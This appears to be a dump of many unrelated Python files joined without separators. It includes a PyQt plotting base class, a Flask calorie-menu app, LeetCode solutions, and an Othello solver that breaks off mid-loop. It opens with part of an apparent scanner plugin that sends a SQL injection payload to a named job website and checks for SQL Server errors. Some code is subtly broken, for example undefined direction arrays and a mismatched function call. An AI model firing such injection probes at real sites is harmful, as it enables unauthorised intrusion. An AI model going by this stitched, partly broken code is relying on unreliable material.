    "persondh/highsalary.aspx?key=",
    ]

    data = "%27%20and%20@@version=0%20or%20%27%%27=%27%"
    for url in urls:
        vul = arg + url + data
        code, head, res, errcode, _ = curl.curl2(vul)
        if code!=0 and 'SQL Server' in res:
            security_hole(arg + url)

if __name__ == '__main__':
    from dummy import *
    audit(assign('workyi_system','http://www.nanlingjob.com/')[1])


import datetime
import pathlib
import uuid
from abc import abstractmethod, ABC
from threading import get_ident
from typing import Any, List, Callable

from PyQt5.QtCore import pyqtSlot, pyqtSignal, QRect, QThreadPool
from PyQt5.QtGui import QIcon
from PyQt5.QtWidgets import QWidget, QDesktopWidget, QApplication, QMenu

from Package.DataStructures.GraphArgsStructure import GraphStructure, ElementStructure, BaseModel
from Package.FrontEnd.BackgroundProcessing import WorkerArgs, Worker

hzdr_icon_path = r"D:\HZDR\HZDR_VISU_TOOL\Package\Icons\hzdr_logo.png"

class BaseGraphException(Exception):
    """Base High level exception to notify user to errors related to the UI"""

    def __init__(self, ID: str, obj: Any, message: str):
        self.ID = ID
        self.obj = obj
        self.message = message
        super().__init__(message)

    def __str__(self):
        return "Error Message: %s ; @ Error source ID: %s\n " \
               "The problematic variable can be accessed by catching the Exception and referencing \"exception.obj\"" % (
                   self.message, self.ID)

class SpawningPositionException(BaseGraphException):
    """High level exception raised when the position where the window will spawn isn't correctly specified"""

class PathNotValidException(BaseGraphException):
    """High level exception raised when the path provided to is not valid"""

class ProcessingException(BaseGraphException):
    """High level exception raised a exception occurs while executing a user provided Process"""

class BaseGraphCanvas(QWidget):
    """Base class for all graph objects/widgets"""
    ID: str = None
    xRange: int = 100
    update_signal = pyqtSignal([object])
    autoscale_signal = pyqtSignal([bool])
    autoscale_flag: bool = None
    dynamic_canvas: Any = None
    postProcesses: List[Callable] = None  # functions need to accept the same datatype as updatePlot and overwrite it
    thread_pool: QThreadPool = None

    def __init__(self, structure: GraphStructure, spawning_position: int = None, icon_path=hzdr_icon_path):
        super().__init__()
        self.structure = structure
        if self.structure.ID:
            self.ID = self.structure.ID
        else:
            self.ID = str(uuid.uuid4())
        # init object attributes
        self.postProcesses = []
        self.autoscale_flag = True

        # set window's icon and title
        self.setWindowTitle(self.ID)
        self.setWindowIcon(QIcon(icon_path))
        # resize the window to roughly a quarter of the screen's area
        screen: QRect = QDesktopWidget().availableGeometry()
        self.resize(screen.width() // 2, screen.height() // 2)
        if spawning_position:
            self._setLocationOnScreen(spawning_position)

        if self.structure.asynchronous:
            # only reference threadpool instance if execution mode is asynchronous
            self.thread_pool = QThreadPool.globalInstance()
        self.update_signal.connect(self._updateRoutine)

    ######################################################################
    # Public super class interface
    ######################################################################

    def updateFigure(self, data):
        """a wrapper around the update signal"""
        self.update_signal.emit(data)

    def add_postProcess(self, func: Callable[[object], None]):
        self.postProcesses.append(func)

    def take_screenshot(self, path="D:\HZDR\HZDR_VISU_TOOL\Package\Export_Test", ID=""):
        now = datetime.datetime.now()
        name = f"/shot_{ID}_{now.strftime('%Y-%m-%d_%H-%M-%S')}.jpg"
        # path = str(os.getcwd()) + "/screenShots"  # create a new directory path
        pathlib.Path(path).mkdir(exist_ok=True)  # create the directory if it doesn't exist
        screen = QApplication.primaryScreen()
        screenshot = screen.grabWindow(self.winId())
        screenshot.save(path + name, 'jpg')

    def write_data(self, data: BaseModel, path, newLine=True):
        """ Basic api to write data to a txt or json file. !!!!NOT CSV!!!!
            Data must be one of the formats in Package/DataStructures/plotDataFormat.py.
            path is  path + filename """
        try:
            with open(path, "a") as f:
                f.write(data.json())
                if newLine:
                    f.write("\n")
        except FileNotFoundError:
            raise PathNotValidException(ID=self.ID, obj=path, message="The provided path is not Valid")

    @pyqtSlot(bool)
    def autoscale_trigger(cls, state: bool):
        cls.autoscale_flag = state

    ######################################################################
    # Public child class interface (To be implemented)
    ######################################################################

    @abstractmethod
    def create_canvas(self):
        """an interface for initializing the canvas based on different libraries"""
        ...

    @abstractmethod
    def onUpdatePlot(self, data: Any):
        """A place holder for implementing each library's api in child classes"""
        ...

    @abstractmethod
    def set_onclicked_callback(self, callback: Callable):
        ...

    @abstractmethod
    def add_vLine(self, coordinates: List[float], ymin: List[float], ymax: List[float], **kwargs):
        """ a simple interface for drawing vertical lines on the graph canvas.
                -this api should allow the addition of either one or multiple lines at a time.
                -kwargs should depend on the implementation"""
        ...

    @abstractmethod
    def add_hLine(self, coordinates: List[float], xmin: List[float], xmax: List[float], **kwargs):
        """ a simple interface for drawing horizontal lines on the graph canvas.
                -this api should allow the addition of either one or multiple lines at a time.
                -kwargs should depend on the implementation"""
        ...

    @abstractmethod
    def set_y_lim(self, downtLim, upLim):
        """An interface for setting the plot's y limits in child classes"""
        ...

    @abstractmethod
    def set_x_lim(self, downtLim, upLim):
        """An interface for setting the plot's x limits in child classes"""
        ...

    @abstractmethod
    def clearPlot(self):
        """An interface for clearing the plot in child classes"""
        ...

    @abstractmethod
    def handle_background_task_finished(self, ID, status):
        print(f"Task with ID: {ID} Is Done {status}")

    @abstractmethod
    def handle_background_task_error(self,error:BaseGraphException, ID= None):
        print(f"ERROR in {ID}: {error}")

    @abstractmethod
    def what_r_u(self, event=None, **kwargs):
        """to be reimplemented by each child Class to redefine themselves.
            args: event necessary if used as on click callback"""
        print("I am a Base Graph object with ID: %s" % self.ID)

    @staticmethod
    def get_data_container():
        """an Interface for returning the type of data structure updateFigure expects """
        ...

    def contextMenuEvent(self, event):
        print(event)
        contextMenu = QMenu(self)
        placeHolder = contextMenu.addAction("THIS IS A PLACE HOLDER, Implement for additional features")
        # openAct = contextMenu.addAction("Open")
        quitAct = contextMenu.addAction("Quit")
        action = contextMenu.exec_(self.mapToGlobal(event.pos()))
        if action == quitAct:
            self.close()

    ######################################################################
    # Non-public interface
    ######################################################################

    @staticmethod
    def get_thread_id():
        """returns the ID of the thread where the function is called..
        useful for debugging when asynchronous mode is ON """
        return get_ident()

    def _apply_processes(self, data):
        for p in self.postProcesses:
            try:
                p(data)
            except Exception as e:
                import traceback
                raise ProcessingException(ID=self.ID, obj=p, message=f"The following error occured while "
                                                                     f"executing a user process {traceback.format_exc()}")

        return data

    def _updateRoutine(self, data):
        """Applies the postprocessing layers specified by the user before updating the plot.
        Execution mode depends on structure.asynchronous:
            False: normal top down sequential execution.
            True: Delegate postprocessing to threadpool and update plot on results ready.
        !!!ASYNCHRONOUS DOESN'T MEAN FASTER!!! Due to overhead non asynchronous mode is faster
         however if the postprocessing is heavy, it blocks the eventloop from updating the GUI"""

        if not self.structure.asynchronous or not self.postProcesses:
            try:
                self._apply_processes(data)
            except ProcessingException as e:
                print(e)
            else:
                self.onUpdatePlot(data)
        else:
            id_ = self.ID + f" {('%032x' % uuid.uuid4().int)[:8]}"
            worker = self.spawn_worker(task=self._apply_processes,
                                       data=data.copy(deep=True),
                                       finished=WorkerArgs(callback=self.handle_background_task_finished,
                                                           kwargs=dict(ID=id_)),
                                       results=WorkerArgs(callback=self.onUpdatePlot, kwargs=dict()),
                                       error=WorkerArgs(callback=self.handle_background_task_error,
                                                        kwargs=dict(ID=id_)),
                                       progress=WorkerArgs(callback=lambda n: print("%d%% done" % n), kwargs=dict())
                                       )
            self.thread_pool.start(worker)

    def set_xRange(self, xrange: int):
        self.xRange = xrange

    def set_xy_lim(self):
        """uses the set_x_lim and set_y_lim interface that needs to be implemented by the child class"""
        if self.structure.xLim:
            xlim = self.structure.xLim
            self.set_x_lim(xlim[0], xlim[1])
        if self.structure.yLim:
            ylim = self.structure.yLim
            self.set_y_lim(ylim[0], ylim[1])

    def toggle_autoscale(self, event=None, **kwargs):
        """this function uses the signal slot mechanism that needs to be specified by child classes.
            args: event necessary if used as on click callback"""
        self.autoscale_signal.emit(not self.autoscale_flag)

    def _setLocationOnScreen(self, index=None):
        """Sets the location in which the window will appear depending on the index
                ---------
                | 1 | 2 |
                | 3 | 4 |
                --------
        """
        if index in range(1, 5):
            ag = QDesktopWidget().availableGeometry()
            origin = ag.topLeft()
            # print(origin.x(), origin.y())
            newX, newY = origin.x(), origin.y()
            if index % 2 == 0:
                newX = ag.width() // 2
            if index > 2:
                newY = ag.height() // 2
            self.move(newX, newY)
        else:
            raise SpawningPositionException(ID=self.ID, obj=self,
                                            message="the provided index: %d is not in [1..4]" % index)

    @staticmethod
    def spawn_worker(task, results: WorkerArgs = None, finished: WorkerArgs = None, error: WorkerArgs = None,
                     progress: WorkerArgs = None, **kwargs):
        """Creates a Worker instance with specified signal callbacks.
        !!!! It doesn't keep track of the instances, it's the responsability of the user to do so!!!!"""
        worker = Worker(task, False, **kwargs)
        if finished:
            worker.signals.finished.connect(lambda status: finished.callback(status=status,**finished.kwargs))
        if error:
            worker.signals.error.connect(lambda e: error.callback(error= e, **error.kwargs))
        if progress:
            worker.signals.progress.connect(lambda n: progress.callback(n, **progress.kwargs))
        if results:
            worker.signals.result.connect(lambda res: results.callback(res, **results.kwargs))
        return worker

class BaseFactory(ABC):
    """Factory that creates a customised graph object. the factory is not the owner of the objects
       and they need to be maintained by the user"""

    @abstractmethod
    def get_LineGraph(self, setup: GraphStructure, spawning_position: int = 1):
        """returns a line graph object"""
        ...

    @abstractmethod
    def get_LineGraph_DataStructure(self):
        """returns the data structure used by the line Graph object"""
        ...

    @abstractmethod
    def get_LevelGraph(self, setup: GraphStructure, spawning_position: int = 1):
        """returns a level graph object"""
        ...

    @abstractmethod
    def get_LevelGraph_DataStructure(self):
        """returns the data structure used by the level graph object"""
        ...

    @abstractmethod
    def get_VectorGraph(self, setup: GraphStructure, spawning_position: int = 1):
        """returns a vector graph object"""
        ...

    @abstractmethod
    def get_VectorGraph_DataStructure(self):
        """returns the data structure used by the vector Graph object"""
        ...

if __name__ == '__main__':
    from PyQt5.QtWidgets import QApplication
    import sys

    print(BaseGraphCanvas.get_data_container())
    structure = GraphStructure(ID="test Graph", blit=True, grid=True, yLim=(1, -1),
                               elements=dict(
                                   g1=ElementStructure(sensorID="channel_0", color="blue", label="channel_0")))
    qapp = QApplication(sys.argv)
    bgc = [BaseGraphCanvas(structure, spawning_position=i) for i in range(1, 5)]
    # bgc.setLocationOnScreen()
    for b in bgc:
        b.show()
    qapp.exec_()


from flask import Flask, render_template, request, url_for, redirect
import mlab
from post import Post
from menu import Menu
from random import choice

app = Flask(__name__)
mlab.connect()

@app.route("/", methods=["GET","POST"])
def caculate():
    if request.method == "GET":
        return render_template("function.html")
    elif request.method == "POST":
        form = request.form
        sex = form["sex"]
        weight = float(form["weight"])
        height = float(form["height"])
        age = int(form["age"])
        exercise = int(form["exercise"])
        raw_bmr= 9.99*weight + 6.25*height - 4.92*age
        sex_list = ["male", "female"]
        for sex in sex_list:
            if sex == "male":
                bmr= raw_bmr+5
            elif sex == "female":
                bmr= raw_bmr-161

#Tính chỉ số TDEE giữ cân:
        if exercise == 0:
            need = bmr*1.2
        elif exercise == 1:
            need = bmr*1.375
        elif exercise == 2:
            need = bmr*1.55
        elif exercise == 3:
            need = bmr*1.725
        elif exercise == 4:
            need = bmr*1.9

#Tính chỉ số BMI, gợi ý tăng giảm cân
        bmi = weight/((height/100)**2)
        if bmi < 18.5:
            status = "Gầy"
            suggest = need*1.2
        elif 18.5 <= bmi <24.9:
            status = "Bình thường"
            suggest = need
        else:
            status = "Béo"
            suggest = need*0.8
        return redirect(url_for("menu", need=round(need,2), bmr=bmr, bmi=bmi, status=status, suggest=round(suggest,2)))

@app.route("/menu/<float:need>/<float:bmr>/<status>/<float:suggest>")
def menu(need, bmr, status, suggest):

#Phân loại món ăn
    menu_week = []
    menu = Menu.objects()
    breakfasts = Menu.objects(category="Ăn sáng")
    rices = Menu.objects(category="Cơm")
    meats = Menu.objects(category="Thịt")
    vegs = Menu.objects(category="rau")
    fruits = Menu.objects(category="hoa qua")
    snacks = Menu.objects(category="món phụ")

    for i in range(7):
        menu_list=[]

#Công thức tính tổng lượng
        breakfast = choice(breakfasts)
        suggest1 = suggest - breakfast["calori"]
        rice = choice(rices)
        suggest2 = suggest1 - rice["calori"]
        meat1 = choice(meats)
        meat2 = choice(meats)
        suggest3 = suggest2 - meat1["calori"] - meat2["calori"]
        veg1 = choice(vegs)
        veg2 = choice(vegs)
        suggest4 = suggest3 - veg1["calori"] - veg2["calori"]

        menu_list.append(breakfast)
        menu_list.append(rice)
        menu_list.append(meat1)
        menu_list.append(meat2)
        menu_list.append(veg1)
        menu_list.append(veg2)

        snack = choice(snacks)
        if suggest4 < snack["calori"]:
            snack = choice(snacks)
        else:
            menu_list.append(snack)
        menu_week.append(menu_list)

    return render_template('menu.html', bmr=bmr, status=status, need=need, suggest=suggest, menu_week=menu_week)

if __name__ == "__main__":
    app.run(debug=True)


import logging
import numpy as np
from compdisteval.code.util.read import read_stopwords
from compdisteval.code.util.paths \
        import configFolder, joinPaths, get_spacenames, \
        vectorSpaceFolder, tensorSpaceFolder, logsFolder, stopwordsPath
from compdisteval.code.util.logger import Logger, setupLogging
from compdisteval.code.createtensors.util import load_vspace, load_verbDict
from compdisteval.code.createtensors.util import read_voc
from compdisteval.code.createtensors.util import save_tensors

'''
Create relational tensors based on verb subj/obj frequency counts.
Given a dictionary of verb:{(subj1,obj1):f_1, ... , (subjn,objn):f_n}
we create the tensor by computing the sum of subject and ovject vectors
    SUM_i f_i (subj_i (x) obj_i)
'''

UPPER = 3000000
LOWER = 1000
DIMS = 3000

def checkWord(word, stopWords, lVoc, space):
    b1 = word in lVoc and lVoc[word] > LOWER and lVoc[word] < UPPER
    return word not in stopWords and word+"#NN" in space and b1

def checkWords(verb, subj, obj, stopWords, lVoc, space):
    return checkWord(subj, stopWords, lVoc, space) and \
           checkWord(obj, stopWords, lVoc, space)

def create_tensors(verbCountDict, space, stopWords, lVoc, totalEntries):
    logging.info("Creating the verb tensors...")
    DM = {}
    idx = 0
    for verb in verbCountDict:
        # logging.info("\nDoing the verb %s now!\n" % verb)
        matr = np.zeros((DIMS, DIMS))
        for (sbj_lem, obj_lem) in verbCountDict[verb]:
            if checkWords(verb, sbj_lem, obj_lem, stopWords, lVoc, space):
                count = verbCountDict[verb][(sbj_lem, obj_lem)]
                v1 = space["%s#NN" % sbj_lem]
                v2 = space["%s#NN" % obj_lem]
                matr += count*(np.outer(v1, v2))
            idx += 1
            if idx % 10000 == 0:
                logging.info("Processed occurrences: %d of about %d...\r" % (idx,totalEntries))
        DM[verb] = matr
    space = {}  # just to remove the vector space from memory (hopefully)
    logging.info("Done creating the verb tensors!")
    return DM

def loadConfigFiles():
    # load stopwords, vocabulary
    logging.info("Reading stopwords...")
    stopwords = read_stopwords(stopwordsPath)
    logging.info("Done reading stopwords!")

    logging.info("Loading noun frequencies...")
    voc = read_voc()
    logging.info("Done loading noun frequencies!")

    return stopwords, voc

if __name__ == '__main__':

    verbFileName = 'gs2011ks2014verbs.txt'
    # Set up logger
    logFileName = 'create_tensors_gijs_%s_dims_%s_log.txt' % (verbFileName, DIMS)
    setupLogging(joinPaths(logsFolder, logFileName))
    logger = Logger(logFileName)
    logging.info('create_tensors_gijs_%s_dims_%s_log.txt', verbFileName, DIMS)
    logging.info("Doing several spaces!")

    logging.info("Loading verbs and verb counts for %s..." % verbFileName)
    verbCountDict = load_verbDict('verb_counts_%s' % verbFileName, logger)
    logging.info("Done loading verbs and verb counts!")
    logging.info("Calculating entries...")
    totalEntries = sum([len(verbCountDict[vrb]) for vrb in verbCountDict])
    verbs = verbCountDict.keys()
    logging.info("We have %s entries to go over!" % totalEntries)

    logging.info("Going to create tensors of dims (%s x %s) for %s verbs!",
                 DIMS, DIMS, len(verbs))

    spaceNames = get_spacenames()
    spaceNames = ["vspace_gijs_raw_CW=5_DIMS=10000_mp_NORM_ppmi.shelve"]

    logging.info("We have %s spaces to go over!", len(spaceNames))
    spaceCount = 1

    for curName in spaceNames:
        logging.info("Doing space %d out of %d", spaceCount, len(spaceNames))
        logging.info(curName)
        spaceCount += 1
        vspacePath = joinPaths(vectorSpaceFolder, curName)
        outputPath = joinPaths(tensorSpaceFolder, 'tensors_dims_%s_from_file_%s_%s' % (DIMS, verbFileName, curName))
        vspace = load_vspace(vspacePath, DIMS, logger)[0]
        tensors = create_tensors(verbCountDict, vspace, stopwords, voc, totalEntries, logger)
        save_tensors(tensors, outputPath, logger)

    logging.info("All done!")


# Definition for a binary tree node.
class TreeNode:
    def __init__(self, x):
        self.val = x
        self.left = None
        self.right = None

class Solution:
    def searchBST(self, root: TreeNode, val: int) -> TreeNode:
        if not root:
            return root
        if root.val < val:
            return self.searchBST(root.right, val)
        elif root.val > val:
            return self.searchBST(root.left, val)
        else:
            return root

    def searchBST_iter(self, root: TreeNode, val: int) -> TreeNode:
        while root:
            if val < root.val:
                root = root.left
            elif val > root.val:
                root = root.right
            else:
                break
        return root


# items = [[] for _ in range(15)]
# for _ in range(5):
#     temp = list(map(str, input().rstrip()))
#     i = 0
#     for character in temp:
#         items[i].extend(character)
#         i += 1
#
# print(items)
#
# for item in items:
#     print(''.join(item), end='')
#
# print()

result = ''
items = [input() for _ in range(5)]
i = 0
while i < 16:
    for item in items:
        if len(item) > i:
            result += item[i]

    i += 1

print(result)


from django.dispatch import receiver
from django.db.models.signals import post_save ,pre_save
from django.contrib.auth.models import User
from .models import Student
from utils.utils import get_id_from_email
import datetime
from .models import Level
@receiver(post_save,sender=User)
def set_level_for_student(sender ,created ,instance,**kwargs):

    if created :
        college_email = instance.email
        college_id = get_id_from_email(college_email)
        if college_id is not None:
            enter_year = college_id[:4]
            print(enter_year)
            year =int(datetime.datetime.now().year)
            month = int(datetime.datetime.now().month)

            for i in range(0,5):
                if year - i == int(enter_year):
                    if month<8:
                        level = i
                    else :
                        level= i+1

                if year - 4 > int(enter_year) :
                    level= 5
                    break
            level = Level.objects.get(pk=level)

            student = Student.objects.create(user=instance,
                                             level=level,
                                             college_id=college_id,
                                             is_grad= (level==5))
            student.save()


s = []
while True:
    a = input()
    a += '!'
    temp = []
    for word in a:
        if word.isdigit():
            temp.append(word)
        else:
            if temp:
                s.append(int(''.join(temp)))
                temp = []
        if len(s) == 2:
            break
    else:
        continue
    break
print(*s, sum(s))


from bs4 import BeautifulSoup
from tabulate import tabulate
import urllib.request as urllib2

resp = urllib2.urlopen('http://api.irishrail.ie/realtime/realtime.asmx/getStationDataByCodeXML_WithNumMins?StationCode=MLGAR&NumMins=90&format=xml')
soup = BeautifulSoup(resp, "lxml")

querytime = soup.find('querytime').contents[0]
origin = soup.find('origin').contents[0]
duein = soup.find('duein').contents[0] + " mins"
destination = soup.find('destination').contents[0]
origintime = soup.find('origintime').contents[0]
destinationtime = soup.find('destinationtime').contents[0]

header = ['Due-In', 'Destination', 'Departure', 'Arrival At Destination', 'Origin']
data = [duein, destination, origintime, destinationtime, origin]

print(("\nMullingar Station (%s):\n") % (querytime))
print(tabulate([data], headers=header, tablefmt='orgtbl'))
print()


import os
import shutil

from sklearn.utils import shuffle

save_path = '/disk1/chenzewen/EngineeringProject/OPPO/imgCompare/imgCompareSystem/source/ImgTest'
save_name = 'Teacher_IQA_Full_MDESSIM_DRL_Test'

save_path = os.path.join(save_path, save_name)

print(save_path)
if not os.path.isdir(save_path):
    os.makedirs(save_path)

ref_img_path = '/disk1/chenzewen/EngineeringProject/OPPO/OPPOProject/DRL/TinyISP_DRL/TinyISP_DRL/DATAS/tinyISP_61'
pred_img_path = '/disk1/chenzewen/EngineeringProject/OPPO/OPPOProject/DRL/TinyISP_DRL/TinyISP_DRL/results_test/teacherIQA_Full_MDESSIM_6400/final_images'

for case in os.listdir(ref_img_path):
    try:
        index = int(case.replace('Case', ''))
        assert os.path.isfile(os.path.join(pred_img_path, '{}.png'.format(index)))

        save_case_path = os.path.join(save_path, 'Case{}'.format(str(index).zfill(2)))
        if not os.path.isdir(save_case_path):
            os.makedirs(save_case_path)

        for file in os.listdir(os.path.join(ref_img_path, case)):
            if 'Gt' in file:
                shutil.copy(os.path.join(ref_img_path, case, file), os.path.join(save_case_path, '{}_GT.png'.format(case)))
                break

        assert os.path.isfile(os.path.join(save_case_path, '{}_GT.png'.format(case)))

        shutil.copy(os.path.join(pred_img_path, '{}.png'.format(index)), os.path.join(save_case_path, '{}_Pred.png'.format(case)))
    except:
        print(case)
        continue


"""Module to watch a folder for file events and add file to a queue"""
import os
import queue
import time
import inotify.constants
import inotify.adapters
from mwax_mover import mwax_mover, utils

class Watcher(object):
    """Class that watches a directory and adds files to a queue"""

    def __init__(
        self,
        name: str,
        path: str,
        dest_queue: queue.Queue,
        pattern: str,
        log,
        mode,
        recursive,
        exclude_pattern=None,
    ):
        self.logger = log
        self.name = name
        self.inotify_tree = None
        self.recursive = recursive
        self.mode = mode
        self.path = path
        self.watching = False
        self.dest_queue = dest_queue
        self.pattern = pattern  # must be ".ext" or ".*"
        self.exclude_pattern = exclude_pattern  # Can be None or ".ext"
        self.scan_completed = False

        if self.mode == mwax_mover.MODE_WATCH_DIR_FOR_NEW:
            self.mask = inotify.constants.IN_CLOSE_WRITE
        elif self.mode == mwax_mover.MODE_WATCH_DIR_FOR_RENAME:
            self.mask = inotify.constants.IN_MOVED_TO
        elif self.mode == mwax_mover.MODE_WATCH_DIR_FOR_RENAME_OR_NEW:
            self.mask = (
                inotify.constants.IN_MOVED_TO
                | inotify.constants.IN_CLOSE_WRITE
            )

        # Check that the path to watch exists
        if not os.path.exists(self.path):
            raise FileNotFoundError(self.path)

    def start(self):
        """Begins watching the directory"""
        if self.recursive:
            self.logger.info(
                f"Watcher starting on {self.path}/*{self.pattern} and all"
                " subdirectories..."
            )
            self.inotify_tree = inotify.adapters.InotifyTree(
                self.path, mask=self.mask
            )
        else:
            self.logger.info(
                f"Watcher starting on {self.path}/*{self.pattern}..."
            )
            self.inotify_tree = inotify.adapters.Inotify()
            self.inotify_tree.add_watch(self.path, mask=self.mask)

        if self.exclude_pattern:
            self.logger.info(
                f"Watcher on {self.path}/*{self.pattern} is excluding"
                f" *{self.exclude_pattern}"
            )

        self.watching = True
        self.do_watch_loop()

    def stop(self):
        """Stop watching the directory"""
        self.logger.info(f"Watcher stopping on {self.path}/*{self.pattern}...")

        self.watching = False

        if self.recursive:
            self.inotify_tree = None
        else:
            self.inotify_tree.remove_watch(self.path)

    def do_watch_loop(self):
        """ "Initiate watching"""
        # If we're in NEW or RENAME mode, then scan the folder once we have
        # enqueued any waiting items
        if (
            self.mode == mwax_mover.MODE_WATCH_DIR_FOR_NEW
            or self.mode == mwax_mover.MODE_WATCH_DIR_FOR_RENAME
            or self.mode == mwax_mover.MODE_WATCH_DIR_FOR_RENAME_OR_NEW
        ):
            utils.scan_for_existing_files_and_add_to_queue(
                self.logger,
                self.path,
                self.pattern,
                self.recursive,
                self.dest_queue,
                self.exclude_pattern,
            )
        self.scan_completed = True

        while self.watching:
            for event in self.inotify_tree.event_gen(
                timeout_s=0.1, yield_nones=False
            ):
                (header, _, path, filename) = event

                # check event is one we care about
                if header.mask | self.mask == self.mask:
                    # Check file extension is one we care about
                    if (
                        os.path.splitext(filename)[1] == self.pattern
                        or self.pattern == ".*"
                    ) and os.path.splitext(filename)[
                        1
                    ] != self.exclude_pattern:
                        dest_filename = os.path.join(path, filename)
                        self.dest_queue.put(dest_filename)
                        self.logger.info(
                            f"{dest_filename} added to queue"
                            f" ({self.dest_queue.qsize()})"
                        )

    def get_status(self) -> dict:
        """Returns a dictionary describing status of this watcher"""
        _, used_bytes, free_bytes = utils.get_disk_space_bytes(self.path)

        return {
            "Unix timestamp": time.time(),
            "watching": self.watching,
            "mode": self.mode,
            "watch_path": self.path,
            "watch_pattern": self.pattern,
            "watch_used_bytes": used_bytes,
            "watch_free_bytes": free_bytes,
        }


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def minDepth(self, root: Optional[TreeNode]) -> int:
        import queue
        if not root:
            return 0

        q = []
        q.append((1, root))
        while q:
            level, node = q.pop(0)
            if not node.left and not node.right:
                return level

            if node.left:
                q.append((level+1, node.left))

            if node.right:
                q.append((level+1, node.right))


from pymongo import MongoClient, ReturnDocument, ASCENDING
from pymongo.errors import ServerSelectionTimeoutError
from data_access_objects.exceptions import TaskIdNotFoundException
from model import task_model

def _mongo_dict_to_task(mongo_dict):
    task_as_dict = dict(mongo_dict)
    task_as_dict['id'] = task_as_dict['_id']
    task_as_dict.pop('_id')
    return task_model.Task(**task_as_dict)

class MongoDBDAO(object):
    def __init__(self,config):
        self.database_name = config['mongodb_database_name']
        self.client = MongoClient(config['mongodb_connection_uri'],serverSelectionTimeoutMS=1000)
        try:
            self.client.server_info()
        except ServerSelectionTimeoutError:
            raise Exception('Failed to connect to MongoDB at %s\nCheck that the connection URI is good and that mongod is running' % config['mongodb_connection_uri'])
        self.db = self.client[self.database_name]
        self._collection = self.db.tasks
        self._collection.create_index([('assignee',ASCENDING),('done',ASCENDING)]);

    def delete_all_tasks(self):
        if self.database_name!='test':
            raise 'Only the test database is allowed to be cleared'
        count = self._collection.delete_many({}).deleted_count

    def get_task_by_id(self,task_id):
        task_as_dict = self._collection.find_one(filter = {'_id':task_id})
        if task_as_dict==None:
            raise TaskIdNotFoundException(task_id)
        return _mongo_dict_to_task(task_as_dict)

    def has_task_with_id(self,task_id):
        return self._collection.find(filter = {'_id':task_id}).count()>0

    def get_all_undone_tasks_for_assignee(self,assignee):
        cursor = self._collection.find({'assignee':assignee,'done':False})
        tasks = [_mongo_dict_to_task(x) for x in cursor]
        return tasks

    # Returns the inserted task_id
    def add_task(self,task):
        result = self._collection.insert_one({'_id':task.id,'assignee':task.assignee,'description':task.description,'done':bool(task.done)});
        return result.inserted_id

    def mark_task_as_done(self,task_id):
        doc = self._collection.find_one_and_update(filter={'_id':task_id},update={'$set': {'done':True}},
            return_document=ReturnDocument.AFTER)
        if doc==None:
            raise TaskIdNotFoundException(task_id)
        return _mongo_dict_to_task(doc)


from rest_framework.views import APIView
from submission.models import SubmissionClass, SubmissionCompetition
from utils.get_obj import get_competition, get_contest_problem
from .serializers import LeaderboardClassSerializer, LeaderboardCompetitionSerializer
from rest_framework.response import Response
from rest_framework import status
from utils.common import IP_ADDR
from utils.permission import *
from rest_framework.permissions import AllowAny

class LeaderboardClassView(APIView):
    permission_classes = [IsCPUser]

    def get(self, request, cp_id=None):
        contest_problem = get_contest_problem(cp_id)
        class_id = contest_problem.contest_id.class_id.id
        submission_class_list = SubmissionClass.objects.filter(c_p_id=cp_id)

        # 정렬
        if contest_problem.problem_id.evaluation in ["CategorizationAccuracy", "F1-score", "mAP"]: # 내림차순
            submission_class_list = submission_class_list.order_by('-score', 'created_time')
        else:
            submission_class_list = submission_class_list.order_by('score', 'created_time')

        obj_list = []
        count = 1
        for submission in submission_class_list:
            if not submission.on_leaderboard:
                continue

            obj = {
                "id": count,
                "submission_id": submission.id,
                "username": submission.username,
                "name": submission.username.name,
                "score": submission.score,
                "created_time": submission.created_time,
            }
            if ClassUser.objects.filter(username=submission.username, privilege=1, class_id=class_id).exists() or ClassUser.objects.filter(username=submission.username, privilege=2, class_id=class_id).exists():
                obj["id"] = 0
                count = count -1
            obj_list.append(obj)
            count = count + 1

        serializer = LeaderboardClassSerializer(obj_list, many=True)
        return Response(serializer.data, status=status.HTTP_200_OK)

class LeaderboardCompetitionView(APIView):
    permission_classes = [AllowAny]

    def get(self, request, competition_id):
        competition = get_competition(competition_id)
        submission_competition_list = SubmissionCompetition.objects.filter(competition_id=competition_id)

        # 정렬
        if competition.problem_id.evaluation in ["CategorizationAccuracy", "F1-score", "mAP"]: # 내림차순
            submission_competition_list = submission_competition_list.order_by('-score', 'created_time')
        else:
            submission_competition_list = submission_competition_list.order_by('score', 'created_time')

        obj_list = []
        count = 1
        for submission in submission_competition_list:
            if submission.on_leaderboard == False:
                continue
            obj = {
                "id": count,
                "submission_id": submission.id,
                "username": submission.username,
                "name": submission.username.name,
                "score": submission.score,
                "created_time": submission.created_time,
            }
            if CompetitionUser.objects.filter(username=submission.username, privilege=1, competition_id=competition_id).exists() or CompetitionUser.objects.filter(username=submission.username, privilege=2, competition_id=competition_id).exists():
                obj["id"] = 0
                count = count -1
            obj_list.append(obj)
            count = count + 1

        serializer = LeaderboardCompetitionSerializer(obj_list, many=True)
        return Response(serializer.data, status=status.HTTP_200_OK)


# 델타검색
# 돌을 놓은 위치에서 팔방탐색하여 다른 색을 찾는다.
# 다른 색을 찾는다면 그 방향으로 무슨 돌이 있는지 체크해준다.
# 가다가 0이 있다면 바로 break로 빠져 나오고, 같은 색을 찾는다면 그 앞에 다른 색을 다 같은색으로 바꿔준다.
# dr = [1, 0, -1, 0, 1, -1, -1, 1]
# dc = [0, 1, 0, -1, 1, 1, -1, -1]

for tc in range(1, int(input()) + 1):
    N, M = map(int, input().split())
    othello = [[0] * (N + 1) for _ in range(N + 1)]
    othello[N // 2][N // 2], othello[N // 2 + 1][N // 2 + 1] = 2, 2
    othello[N // 2][N // 2 + 1], othello[N // 2 + 1][N // 2] = 1, 1

    for m in range(M):
        r, c, color = map(int, input().split())

        othello[r][c] = color
        for dir in range(8):
            nr1, nc1 = r + dr[dir] * 1, c + dc[dir] * 1
            for i in range(2, N + 1):
                nr2, nc2 = r + dr[dir] * i, c + dc[dir] * i
                if 1 <= nr1 < N + 1 and 1 <= nc1 < N + 1:
                    if othello[nr1][nc1] != color and othello[nr1][nc1] != 0:
                        if 1 <= nr2 < N + 1 and 1 <= nc2 < N + 1:
                            if othello[nr2][nc2] == 0:
                                break
                            if othello[nr2][nc2] == color:
                                for j in range(1, i):
                                    othello[r + dr[dir] * j][c + dc[dir] * j] = color
                                    continue

    cnt1 = 0
    cnt2 = 0
    for i in range(1, N + 1):
        for j in range(1, N + 1):
            if othello[i][j] == 1:
